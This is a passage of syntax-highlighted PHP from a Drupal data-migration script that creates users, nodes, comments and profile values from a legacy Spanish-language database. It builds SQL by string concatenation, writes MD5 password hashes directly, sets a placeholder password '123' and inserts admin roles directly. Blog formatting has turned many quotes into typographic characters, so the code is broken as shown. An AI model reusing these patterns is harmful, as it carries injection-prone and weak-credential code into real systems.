<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_user</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;status&#8217;</span> =&gt; <span class="nu0">1</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;access&#8217;</span> =&gt; <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;name&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;username&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;pass&#8217;</span> =&gt; <span class="st0">&#8217;123&#8242;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;picture&#8217;</span> =&gt; <span class="re0">$_avatar</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_nombres&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;nombres&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_apellido&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;apellidos&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profile_intereses&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;about&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;profesion&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;profesion&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;mail&#8217;</span> =&gt; <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;email&#8217;</span><span class="br0">&#93;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$user</span> = user_save<span class="br0">&#40;</span><span class="st0">&#8221;</span>, <span class="re0">$_user</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_setPassword<span class="br0">&#40;</span><span class="re0">$user</span>-&gt;<span class="me1">uid</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;password&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_setUserRole($user-&gt;uid);</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self::_configureProfile<span class="br0">&#40;</span><span class="re0">$data</span>, <span class="re0">$user</span>-&gt;<span class="me1">uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;admin&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> self::_setAdmin<span class="br0">&#40;</span><span class="re0">$user</span>-&gt;<span class="me1">uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">user</span> = &amp;<span class="re0">$user</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span><span class="br0">&#93;</span> = <span class="re0">$user</span>-&gt;<span class="me1">uid</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;users&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> createContent<span class="br0">&#40;</span><span class="re0">$data</span>, <span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span> = <span class="kw2">new</span> stdClass<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">type</span> = <span class="re0">$type</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">uid</span> = <span class="re0">$this</span>-&gt;<span class="me1">user</span>-&gt;<span class="me1">uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">name</span> = <span class="re0">$user</span>-&gt;<span class="me1">user</span>-&gt;<span class="me1">name</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">promote</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">format</span> = FILTER_FORMAT_DEFAULT;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">status</span> = <span class="nu0">1</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">title</span> = <a href="http://www.php.net/html_entity_decode"><span class="kw3">html_entity_decode</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;titulo&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">body</span> = <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;cuerpo&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">taxonomy</span> = self::_convertTaxonomy<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">comment</span> = <span class="nu0">2</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$node</span>-&gt;<span class="me1">created</span> = <a href="http://www.php.net/strtotime"><span class="kw3">strtotime</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;fecha&#8217;</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[node:&quot;</span>.<span class="re0">$type</span>.<span class="st0">&quot;] &quot;</span>.<a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$node</span>-&gt;<span class="me1">title</span>, <span class="nu0">0</span>, <span class="nu0">30</span><span class="br0">&#41;</span>.<span class="st0">&quot;&#8230; (&quot;</span>.<a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$node</span>-&gt;<span class="me1">body</span>, <span class="nu0">0</span>, <span class="nu0">20</span><span class="br0">&#41;</span>.<span class="st0">&quot; &#8230;) [tax:{&quot;</span>.<a href="http://www.php.net/implode"><span class="kw3">implode</span></a><span class="br0">&#40;</span><span class="st0">&quot;;&quot;</span>, <span class="re0">$node</span>-&gt;<span class="me1">taxonomy</span><span class="br0">&#41;</span>.<span class="st0">&quot;},uid:&quot;</span>.<span class="re0">$node</span>-&gt;<span class="me1">uid</span>.<span class="st0">&quot;]<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;news&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; node_save<span class="br0">&#40;</span><span class="re0">$node</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$q</span> = <span class="st0">&quot;INSERT INTO dp_node_access(nid, grant_view, realm) VALUES((SELECT MAX(nid) FROM dp_node),1, &#8216;all&#8217;)&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span> <span class="re0">$q</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> insertCommentProfile<span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[comment;autor:&quot;</span>.<span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">'autor'</span><span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="st0">&quot;,uid:&quot;</span>.<span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">'userid'</span><span class="br0">&#93;</span>.<span class="st0">&quot;] (&quot;</span>.<a href="http://www.php.net/rtrim"><span class="kw3">rtrim</span></a><span class="br0">&#40;</span><a href="http://www.php.net/substr"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;comentario&#8217;</span><span class="br0">&#93;</span>, <span class="nu0">0</span>, <span class="nu0">30</span><span class="br0">&#41;</span><span class="br0">&#41;</span>.<span class="st0">&quot; &#8230;)<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO {comments} (pid, uid, hostname, comment, status, name, mail, homepage, timestamp) VALUES(%d, %d, &#8216;%s&#8217;, &#8216;%s&#8217;, %d, &#8216;%s&#8217;, &#8216;%s&#8217;, &#8216;%s&#8217;, %d)&quot;</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;userid&#8217;</span><span class="br0">&#93;</span>, <span class="re0">$this</span>-&gt;<span class="me1">id_uid</span><span class="br0">&#91;</span><span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;autor&#8217;</span><span class="br0">&#93;</span><span class="br0">&#93;</span>, <span class="st0">&#8217;127.0.0.1&#8242;</span>, <span class="re0">$data</span><span class="br0">&#91;</span><span class="st0">&#8216;comentario&#8217;</span><span class="br0">&#93;</span>, <span class="nu0">1</span>, <span class="st0">&#8221;</span>, <span class="st0">&#8221;</span>, <span class="st0">&#8221;</span>, <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;comments&#8217;</span><span class="br0">&#93;</span>++;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _convertTaxonomy<span class="br0">&#40;</span><span class="re0">$taxonomy</span> = <span class="kw2">NULL</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">29</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">30</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">31</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">32</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">33</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">34</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_categories</span><span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="nu0">35</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span> <span class="br0">&#40;</span><span class="re0">$taxonomy</span><span class="br0">&#41;</span>?<span class="re0">$_categories</span><span class="br0">&#91;</span>&#8211;<span class="re0">$taxonomy</span><span class="br0">&#93;</span>:<span class="nu0">35</span> <span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setPassword<span class="br0">&#40;</span><span class="re0">$id</span>, <span class="re0">$md5</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;UPDATE dp_users SET pass = &#8216;&quot;</span>.<span class="re0">$md5</span>.<span class="st0">&quot;&#8217; WHERE (name != &#8216;asdf&#8217; AND name != &#8216;admin&#8217;) AND uid = &quot;</span>.<span class="re0">$id</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setAdmin<span class="br0">&#40;</span><span class="re0">$id</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;dp_users_roles&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//$query = &quot;UPDATE &quot;.$table.&quot; SET rid = 4 WHERE uid = &quot;.$id; # 4 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot;(rid, uid) VALUES(4, &quot;</span>.<span class="re0">$id</span>.<span class="st0">&quot;)&quot;</span>; <span class="co2"># 2 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setUserRole<span class="br0">&#40;</span><span class="re0">$id</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;dp_users_roles&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot;(rid, uid) VALUES(2, &quot;</span>.<span class="re0">$id</span>.<span class="st0">&quot;)&quot;</span>; <span class="co2"># 2 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _configureProfile<span class="br0">&#40;</span><span class="re0">$info</span>, <span class="re0">$_uid</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre_esp FROM cat_paises a LEFT JOIN usr_users b ON b.pais = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre_esp&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(8, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre_esp FROM paises a LEFT JOIN users b ON b.pais_residencia = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre_esp&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(9, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$query = &quot;SELECT a.profesion FROM users a WHERE a.id = &quot;.$uid;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $_r = mysql_result(sqlExec($query, &#8216;query&#8217;), 0, &#8216;profesion&#8217;);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query(&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(3, &quot;.$_uid.&quot;, &#8216;&quot;.$_r.&quot;&#8217;)&quot;);*/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre FROM cat_usr a LEFT JOIN usr_users b ON b.categoria = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(4, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.subcategoria_es FROM areas_ciencia_subcat a, usr_users b WHERE b.area_ciencia_subcat != 0 AND b.area_ciencia_subcat = a.id_subcat AND b.id = &quot;</span>.<span class="re0">$_uid</span>;</div>
</li>
<li class="li2">
